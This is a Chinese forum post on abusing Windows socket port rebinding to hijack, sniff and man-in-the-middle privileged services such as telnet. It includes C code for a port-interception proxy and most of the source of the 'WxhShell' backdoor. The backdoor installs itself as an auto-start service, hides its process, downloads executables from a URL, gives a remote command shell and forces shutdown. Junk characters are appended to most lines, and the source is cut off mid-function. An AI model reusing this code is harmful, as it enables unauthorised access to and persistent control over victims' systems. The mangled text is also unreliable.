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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6P1s*u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CJ\a7=*i  
iYStl  
  saddr.sin_family = AF_INET; `F7]M  
=\oH= f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  v_!6S|  
z%YNZ ^d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Mj MDD  
KGy 3#r;Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G%erh}0~  
,Z@#( =f  
  这意味着什么?意味着可以进行如下的攻击: ( 2HM "Pd  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 35& ^spb  
h=7q;-@7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b_31 \  
vFVUdxPOw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e^Zm09J  
VI2lw E3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fHup&|.  
W[8Kia-OD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E 5&Z={  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I}4 PB+yu  
=Z^5'h~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Cs6`lX >  
z qeQ  
  #include j>\c > U  
  #include AHb_BgOU*  
  #include ^c\O , *:  
  #include    n%&L&G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qVn<c,8#  
  int main() P8d  
  {  ,&hv x  
  WORD wVersionRequested; QH/py  
  DWORD ret; SyvoN, ;Q  
  WSADATA wsaData; J/je/PC  
  BOOL val; 2LwJ%!  
  SOCKADDR_IN saddr; rVz.Ws#  
  SOCKADDR_IN scaddr; cE]z Tu?!  
  int err; 4[gmA  
  SOCKET s; UBaXS_c\  
  SOCKET sc; ]RCo@QW  
  int caddsize; cc[(w #K  
  HANDLE mt; ]Y\$U<YjO  
  DWORD tid;   .@VZ3"  
  wVersionRequested = MAKEWORD( 2, 2 ); ,{_i{WV  
  err = WSAStartup( wVersionRequested, &wsaData ); 4\;zz8 5E  
  if ( err != 0 ) { O?e9wI=H  
  printf("error!WSAStartup failed!\n"); UR sx>yx  
  return -1; yLa@27T\A  
  } Y Zj-%5  
  saddr.sin_family = AF_INET; }'oU/@yG  
   X1^VdJE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;I>nA6A  
#A/OGi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ")Fd'&58  
  saddr.sin_port = htons(23); ?@b6(f xX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >yO/p(/;jR  
  { vzIo2 ,/7  
  printf("error!socket failed!\n"); <]rayUyaf  
  return -1; l/N<'T_G  
  } NL9.J @"b  
  val = TRUE; ?v2_7x&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C]ss'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gu k,GF9p]  
  { 2 2v"?*  
  printf("error!setsockopt failed!\n"); V!Wy[u  
  return -1; h.\I tK{)  
  } Tv``\<   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l9.`2d]o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k~tEUsv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4Q|>k )H  
LqWiw24#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E|@C:ghG  
  { :aNjh  
  ret=GetLastError(); -<g9 ) CV5  
  printf("error!bind failed!\n"); (p{X.X+  
  return -1; 7[m+r:y  
  } 0+>g/ >  
  listen(s,2); 7'\. Q J!<  
  while(1) J6Ilg@}\  
  { 'LYDJ~  
  caddsize = sizeof(scaddr); 2/?Zp=|j\  
  //接受连接请求 %KQ1{"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g257jarkMF  
  if(sc!=INVALID_SOCKET) {<-s&%/r  
  { :\;9y3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &f.5:u%{b  
  if(mt==NULL) F-;JN  
  { zIc6L3w$  
  printf("Thread Creat Failed!\n"); DsdM:u*s  
  break; q%3VcR$J  
  } w~]2c{\Qz  
  } P27Ot1px  
  CloseHandle(mt); C @Ts\);^  
  } 3qWrSziD  
  closesocket(s); $[T ~<I  
  WSACleanup(); $JFjR@j  
  return 0; FWW4n_74  
  }   0)dpU1B#M  
  DWORD WINAPI ClientThread(LPVOID lpParam) :|j[{;asY  
  { ~?/7: S  
  SOCKET ss = (SOCKET)lpParam; DI0& _,  
  SOCKET sc; $xu2ZBK  
  unsigned char buf[4096]; Zo=,!@q(  
  SOCKADDR_IN saddr; PF4[;E S'  
  long num; UynGG@P@  
  DWORD val; 2"6L\8hd2  
  DWORD ret; &GH [$(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [<B,6nAl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IogLkhWX  
  saddr.sin_family = AF_INET; C >OeULD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wX] _Abk  
  saddr.sin_port = htons(23); *"^X)Y{c+l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uI,*&bP  
  { K'&,]r#  
  printf("error!socket failed!\n"); fN9{@)2Mz  
  return -1; /E6)>y66  
  } UC&$8^  
  val = 100; Q4mtfpiDx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "5JMk -2k  
  { G]B0LUT6c  
  ret = GetLastError(); >\JP X  
  return -1; oIrc))j,$  
  } h%j4(v}r{C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BFNO yv  
  { B;bP~e>W  
  ret = GetLastError(); 'M%iS4b{IM  
  return -1; | 6AR!  
  } icG 9x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i3 js'?7E  
  { ZRhk2DA#FF  
  printf("error!socket connect failed!\n"); IsE&k2 SD  
  closesocket(sc); {tVA(&\<  
  closesocket(ss); wGO-Z']i  
  return -1; H;=yR]E  
  } UB@(r86 d  
  while(1) J.~@j;[2  
  { c<1$ zQY!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u/tJ])~@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l<_v3/3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GVT 6cR  
  num = recv(ss,buf,4096,0); !MSa -  
  if(num>0) 9No6\{[M  
  send(sc,buf,num,0); n[/D>Pi  
  else if(num==0) l"8g9z  
  break; 8 8u[s@  
  num = recv(sc,buf,4096,0); QmBHD;Gf  
  if(num>0) t(}Y/'  
  send(ss,buf,num,0); #|\|G3Si %  
  else if(num==0) WGV]O|  
  break; 0+0 Y$;<  
  } wW TuEM  
  closesocket(ss); PCCE+wC6  
  closesocket(sc); X}B] 5  
  return 0 ; @.e4~qz\  
  } 42 `Uq[5Y  
xEG:KSH  
py$Gy-I~[  
========================================================== }ll&EB  
ccv  
下边附上一个代码,,WXhSHELL I>ML I=[Kg  
r[E#JHw  
========================================================== p&}m')  
ufR|V-BWx  
#include "stdafx.h" d Np%=gIj  
[<+T@"y  
#include <stdio.h> YWPkVvI  
#include <string.h> KMT$/I{p,  
#include <windows.h> (fc_V[(m"  
#include <winsock2.h> UHJro9  
#include <winsvc.h> Vb 36R _u  
#include <urlmon.h> 65B&>`H~  
:MDFTw~|  
#pragma comment (lib, "Ws2_32.lib") d/NjY[`5+  
#pragma comment (lib, "urlmon.lib") ^C,rN;mX'  
FUI/ A >  
#define MAX_USER   100 // 最大客户端连接数 Tu:lIy~A  
#define BUF_SOCK   200 // sock buffer ruhC:rg:/  
#define KEY_BUFF   255 // 输入 buffer Fkv284,LM  
D[T\_3 W  
#define REBOOT     0   // 重启 L{sFR^-G  
#define SHUTDOWN   1   // 关机 E:}s 6l  
Njo.-k  
#define DEF_PORT   5000 // 监听端口 j+.E#:tu"  
uToi4]w"y  
#define REG_LEN     16   // 注册表键长度 _bh$ t  
#define SVC_LEN     80   // NT服务名长度 >>=zkPy  
25G~rklk  
// 从dll定义API Sn97DCdk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B4OFhtYE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6\h*SBI?(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :CM2kh"Iu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $1X !Ecq_  
m[ S1  
// wxhshell配置信息 Y}vV.q  
struct WSCFG { `34+~;;Jh  
  int ws_port;         // 监听端口 +o.#']}Pl  
  char ws_passstr[REG_LEN]; // 口令 0>,i] |Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kj"n Id)  
  char ws_regname[REG_LEN]; // 注册表键名 iR4"I7J  
  char ws_svcname[REG_LEN]; // 服务名 o/U}G,|G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ='#7yVVcs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |r*y63\T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ow0~sFz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T+V:vuK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5=s|uuw/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K/&  
0l(G7Ju  
}; n`Ypv{+ {%  
#;2kN &  
// default Wxhshell configuration <Rt0 V%}-  
struct WSCFG wscfg={DEF_PORT, ziAn9/sT  
    "xuhuanlingzhe", .j!:Hp(z}  
    1, 2V @ pt  
    "Wxhshell", 5"#xbvRS0H  
    "Wxhshell", j97c@  
            "WxhShell Service", H8c -/  
    "Wrsky Windows CmdShell Service", |$T?P*pI.  
    "Please Input Your Password: ", BQMo*I>I  
  1, q|.0Ja  
  "http://www.wrsky.com/wxhshell.exe", @M*5q# s  
  "Wxhshell.exe" ud(w0eX  
    }; enMHKN g  
wh]v{Fi'  
// 消息定义模块 o hPXwp?]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eET1f8 B=L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5IG#-Q(6sp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .v) A|{:2  
char *msg_ws_ext="\n\rExit."; `?N|{kb  
char *msg_ws_end="\n\rQuit."; P\X$fD  
char *msg_ws_boot="\n\rReboot..."; _h B7;N3  
char *msg_ws_poff="\n\rShutdown..."; r^d:Po  
char *msg_ws_down="\n\rSave to "; X)Rh&ui  
YZ0Q?7l7  
char *msg_ws_err="\n\rErr!"; e<{Ani0  
char *msg_ws_ok="\n\rOK!"; bmC{d  
Yu%ZwTvw  
char ExeFile[MAX_PATH]; A*{V%7hs&  
int nUser = 0; r2;+ACwWf_  
HANDLE handles[MAX_USER]; ;>p{|^X0D  
int OsIsNt; *=QWx[K|  
U_0"1+jbq  
SERVICE_STATUS       serviceStatus; Yv;iduc('  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k1^&;}/f:  
F-?s8RD  
// 函数声明 -1F+,+m  
int Install(void); 9(9\kQj{C  
int Uninstall(void); } AHR7mu=  
int DownloadFile(char *sURL, SOCKET wsh); Daf;; w  
int Boot(int flag); &W y9%  
void HideProc(void); ~ Q;qRx  
int GetOsVer(void); l;JB;0<s"  
int Wxhshell(SOCKET wsl); "CQ:<$|$  
void TalkWithClient(void *cs); 3}?]G8iL?L  
int CmdShell(SOCKET sock); ue6&)7:~  
int StartFromService(void); *Q3q(rdrp  
int StartWxhshell(LPSTR lpCmdLine); gDsb~>rb|  
sU?%"q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nrZZkQNI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A3e83g~L  
9<!Ie^o?  
// 数据结构和表定义 )e\IdKl=  
SERVICE_TABLE_ENTRY DispatchTable[] = dBp)6ok#c  
{ [%6"UH r  
{wscfg.ws_svcname, NTServiceMain}, [)p>pA2GZj  
{NULL, NULL} I_h&35^t  
}; }W"/h)q  
.GDNd6[K7  
// 自我安装 [RUYH5>Ik  
int Install(void) %wux#"8  
{ &p^8zEs  
  char svExeFile[MAX_PATH]; 20RISj  
  HKEY key; RC]-9gd3Q  
  strcpy(svExeFile,ExeFile); #ruL+- 8!<  
+,Z Q( ZW  
// 如果是win9x系统,修改注册表设为自启动 arj?U=zy  
if(!OsIsNt) { )1 !*N)$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q6>%1~?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |lf,3/*jDB  
  RegCloseKey(key); g)~"-uQQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ER$qL"H U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +dSO?Y]  
  RegCloseKey(key); Xkb\fR6<K  
  return 0; -Fs<{^E3j  
    } 9r hl2E  
  } eB*0})  
} h}jE=T5Hc  
else { kC-OZVoO  
>a2i%j/T  
// 如果是NT以上系统,安装为系统服务 Sy`7})[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jG&gd<^  
if (schSCManager!=0) n[`FoY  
{ /q>1X!Z  
  SC_HANDLE schService = CreateService UgZuEfEGve  
  ( N(^ q%eHp  
  schSCManager, TW}nO|qw  
  wscfg.ws_svcname, e47N9&4  
  wscfg.ws_svcdisp, 3rw<#t;v  
  SERVICE_ALL_ACCESS, :HQQ8uQfb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x.~AvJ  
  SERVICE_AUTO_START, gCY%@?YyN  
  SERVICE_ERROR_NORMAL, Z |CL:)h  
  svExeFile, Mu]1e5^]  
  NULL, `Kq4z62V  
  NULL, i"o %Gc  
  NULL, +(3U_]Lu  
  NULL, K.K=\ Y2  
  NULL Rz9IjL.Z  
  ); ;/g Bjp]H  
  if (schService!=0) e2l!L*[g  
  { xRM)f93@  
  CloseServiceHandle(schService); g/6>>p`J  
  CloseServiceHandle(schSCManager); a6i%7Om  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z 8\z`#g!  
  strcat(svExeFile,wscfg.ws_svcname); &!5S'J %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9s'[p'[Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HTU?hbG(  
  RegCloseKey(key); ev;R; 0<  
  return 0; (^).$g5Hg  
    } [b6P }DW  
  } WvJidz?5  
  CloseServiceHandle(schSCManager); ||t"}Y  
} Zw<\^1  
} L1J~D?q  
Y<0R5rO  
return 1; .8EaFEd  
} h#7p&F  
Doj>Irj? 7  
// 自我卸载 nL@(|nJ[  
int Uninstall(void) 9d_ Zdc  
{ f,}9~r #  
  HKEY key; >Kjl>bq  
#.^A5`k  
if(!OsIsNt) { zLda&#+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +=N#6 # 1  
  RegDeleteValue(key,wscfg.ws_regname); DYFfq  
  RegCloseKey(key); sV`!4 u7%}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S)$iHBx{  
  RegDeleteValue(key,wscfg.ws_regname); ?(d<n   
  RegCloseKey(key); oi:!YVc  
  return 0; 6w Y6* R  
  } Oq3]ZUVa  
} KJ;;825?  
} yhSbX4Q  
else { +<o}@hefY2  
>q7/zl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2=/,9ka~  
if (schSCManager!=0) \hr2#!  
{ $vK(Qm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [DzZ:8  
  if (schService!=0) BL^\"Xh$|  
  { n3Q Rn^  
  if(DeleteService(schService)!=0) { LW '3m5  
  CloseServiceHandle(schService); 1 ms(03dp  
  CloseServiceHandle(schSCManager); VW/ICX~"d  
  return 0; &K.js  
  } yrVk$k#6}  
  CloseServiceHandle(schService); vQ",rP%  
  } 7U, [Ruu  
  CloseServiceHandle(schSCManager); A5[iFT>  
} M\rZr3  
} kt;uB X3  
}a?(}{z-  
return 1; F2:nL`]b[  
} g<(\#F}/  
JRYCM}C]  
// 从指定url下载文件 Yfd0Np~  
int DownloadFile(char *sURL, SOCKET wsh) *H({q`j33k  
{ <*F!A' w2o  
  HRESULT hr; v%$c_'d  
char seps[]= "/"; n/Fx2QC{  
char *token; l}MVk%[  
char *file; yJn<S@)VT:  
char myURL[MAX_PATH]; lzDA0MPI:  
char myFILE[MAX_PATH]; '`nf7b(  
VY|'7in"M  
strcpy(myURL,sURL); :'0.  
  token=strtok(myURL,seps); DP5}q"l  
  while(token!=NULL) [.j&~\AG  
  { )j/b `V6  
    file=token; NA;OT7X[  
  token=strtok(NULL,seps); sf5F$  
  } ~,O&A B  
dlJc~|  
GetCurrentDirectory(MAX_PATH,myFILE); ,?/AIL]_  
strcat(myFILE, "\\"); fIwG9cR  
strcat(myFILE, file); &~{0@/  
  send(wsh,myFILE,strlen(myFILE),0); I:Q3r"1  
send(wsh,"...",3,0); cfhiZ~."T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !l5&>1?  
  if(hr==S_OK) \;bDDTM  
return 0; 8qF OO3c\V  
else @h)Z8so  
return 1; Nm4 h  
'?)<e^  
} :F`-<x/  
c>.=;'2  
// 系统电源模块 `m+o^!SGe  
int Boot(int flag) P?/Mrz   
{ #L`'<ge'g*  
  HANDLE hToken; P5Is#7udN8  
  TOKEN_PRIVILEGES tkp; m4~>n(  
u#Y#,:{  
  if(OsIsNt) { n>k1 D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` ),ACkU>U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _oAWj]~rO  
    tkp.PrivilegeCount = 1; %D6HY^]ayw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E@[ZwTnJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wGhy"1g#  
if(flag==REBOOT) { EaN1xb(DYa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ag{cm'.  
  return 0; h}&1 7M  
} bSgdVP-  
else { $*q^7ME  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )y"8Bx=x4  
  return 0; UR<a7j"@2  
} AXT(D@sI=  
  } 2C[xrZa^  
  else { o_R_  
if(flag==REBOOT) { ffI z>Of:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,0\P r  
  return 0; d8ck].m=  
} ni~1)"U.  
else { *c>B,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zr@H Yl  
  return 0; <:ptNGR  
} B:rzM:BQ  
} Scd_tw.]|  
F~;UD<<"H  
return 1; ":W$$w<  
} dh K<5E  
d<_#Q7]I4  
// win9x进程隐藏模块 LVe[N-K  
void HideProc(void) _>RTef L5  
{ 4RL0@)0F  
u`?v-   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0'zX6%  
  if ( hKernel != NULL ) 7 V3r!y  
  { KvY1bMU!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *|Bt!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J u"K"  
    FreeLibrary(hKernel); Lpv,6#m`)  
  } xua E\*m  
U^ ;H{S  
return; vR*p1Kq:  
} aW*8t'm;m'  
{n 4W3  
// 获取操作系统版本 ^E]y >Y  
int GetOsVer(void) ;/ASl<t,  
{ nh*hw[Ord  
  OSVERSIONINFO winfo; )SzgMbF6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,~*pPhQ8m  
  GetVersionEx(&winfo); 0dCg/wJx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p-f"4vH  
  return 1; *o6hDhg  
  else `EWQ>m+  
  return 0; BFvRU5&Sz  
} %_. fEFy07  
@FaK/lKK  
// 客户端句柄模块 k7)<3f3&S.  
int Wxhshell(SOCKET wsl) `G "&IQ8.  
{ 7u<C&Z/  
  SOCKET wsh; wu~?P`  
  struct sockaddr_in client; LXS)(-&  
  DWORD myID; T7LO}(I.&  
{66P-4Ev(  
  while(nUser<MAX_USER) =`E{QCW  
{ L]wk Ba  
  int nSize=sizeof(client); WwF2Ry^a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $0&<Jx  
  if(wsh==INVALID_SOCKET) return 1; Nq"J[l*+g  
iyTKy+3A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cceh`s=cU  
if(handles[nUser]==0) JmF:8Q3H  
  closesocket(wsh); CXh >'K  
else ~nRbb;M  
  nUser++; L "5;<  
  } ub9,Wd"^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X}ft7;Jpy  
:!L>_ f  
  return 0; 7bYN  
} l?O%yf`s  
)7  M  
// 关闭 socket q{uv?{I  
void CloseIt(SOCKET wsh) ;( [^+_/  
{ a[ yyEgm2  
closesocket(wsh); /|p6NK;8L  
nUser--; -Ra-Ux  
ExitThread(0); /3j3'~0  
} v~:'t\n  
j2s{rQQ  
// 客户端请求句柄 eOZ"kw"uHu  
void TalkWithClient(void *cs)  _j2q  
{ #'8'5b  
,m[#<}xXA  
  SOCKET wsh=(SOCKET)cs; j7yUya&  
  char pwd[SVC_LEN];  Y3g<%6  
  char cmd[KEY_BUFF]; |h-e+Wh1  
char chr[1]; @+yjt'B  
int i,j; 8fA8@O}  
( 9(NP_s  
  while (nUser < MAX_USER) {  :X 9_~  
md;jj^8zj  
if(wscfg.ws_passstr) { ?X@uR5?{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @dc4v_9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {r?+PQQ#  
  //ZeroMemory(pwd,KEY_BUFF); n'8 3P%x  
      i=0; `{H!V~42  
  while(i<SVC_LEN) { Ntlbn&lc;D  
$_O;yz  
  // 设置超时 0?*":o30  
  fd_set FdRead; d@ef+-  
  struct timeval TimeOut; OZ4%6/  
  FD_ZERO(&FdRead); `>u^Pm  
  FD_SET(wsh,&FdRead); oT i$@q  
  TimeOut.tv_sec=8; ?0?+~0sI  
  TimeOut.tv_usec=0; ^?S lM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); thSXri?kl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V|)nU sU  
Y2W{?<99  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #B5-3CwB  
  pwd=chr[0]; 1AQ3<  
  if(chr[0]==0xd || chr[0]==0xa) { I]Ws   
  pwd=0; (l}nwyh5  
  break; #&sn l  
  } l4AXjq2  
  i++; <])kO`+G  
    } z_%}F':  
/ mwsF]Y  
  // 如果是非法用户,关闭 socket )j}v3@EM5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -IS$1  
} !SThK8j$7  
FDTC?Ii O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $k^& X `  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VEx )  
8Ud.}< Zi  
while(1) { =U}!+ 8f  
; ! B>b)%  
  ZeroMemory(cmd,KEY_BUFF); 2#@-t{\3-p  
/! M%9gu  
      // 自动支持客户端 telnet标准   ] uXmug  
  j=0; @5{h+^  
  while(j<KEY_BUFF) { D 4<,YBvV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9s#*~[E*  
  cmd[j]=chr[0]; Q&vU|y  
  if(chr[0]==0xa || chr[0]==0xd) { 6\RZ[gA?  
  cmd[j]=0; o$Z]qhq  
  break; O +Xu ?W]  
  } KSO%89R'  
  j++; u_.Ig|Va  
    } %";ap8J04F  
y6&o+;I$[  
  // 下载文件 gM&4Ur  
  if(strstr(cmd,"http://")) { ?3do-tTp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s[%@3bY!7  
  if(DownloadFile(cmd,wsh)) f<v Z4 IU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :8Ugz~i  
  else m0]Lc{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 Ay.^f  
  } KNSMx<GP  
  else { $u, ~183  
< ;fI*km  
    switch(cmd[0]) { +@MG$*}Oz  
  i([|@Y=  
  // 帮助 sPRs;to-  
  case '?': { QLb!e"C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 95*=& d  
    break; }*VRj;ff  
  } |M|>/U 8  
  // 安装 bf/z T0  
  case 'i': { UxvT|~"  
    if(Install()) =W"9a\m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oe&gTXo  
    else K%YR; )5A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C:RA(  
    break; \iAs  
    } C,,S<=L:  
  // 卸载 B1va]=([)W  
  case 'r': { 7*@BCu6  
    if(Uninstall()) i.''\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +m1*ou'K  
    else h! w d/jR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WB\chb%ej#  
    break; ^"+Vx9H"{  
    } gt!t Du  
  // 显示 wxhshell 所在路径 7w?N-Q$y  
  case 'p': { G],W{<Pe  
    char svExeFile[MAX_PATH]; |t_SN,)dd  
    strcpy(svExeFile,"\n\r");  m5lTf  
      strcat(svExeFile,ExeFile); P"r7m  
        send(wsh,svExeFile,strlen(svExeFile),0); AizLzR$OG  
    break; 5)i+x-  
    } qTV.DCP  
  // 重启 gZ6tb p,X  
  case 'b': { zRgl`zREr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z(BZG O<  
    if(Boot(REBOOT)) aA-s{af  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AX6l=jFZx  
    else { BCt>P?,UO  
    closesocket(wsh); -fDW>]_  
    ExitThread(0); RH "EO4  
    } /;`-[   
    break; QVe<Z A8N;  
    } d>Ky(wS  
  // 关机 U)D}J_Zi(  
  case 'd': { +,J!xy+~,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9%DLdc\z;  
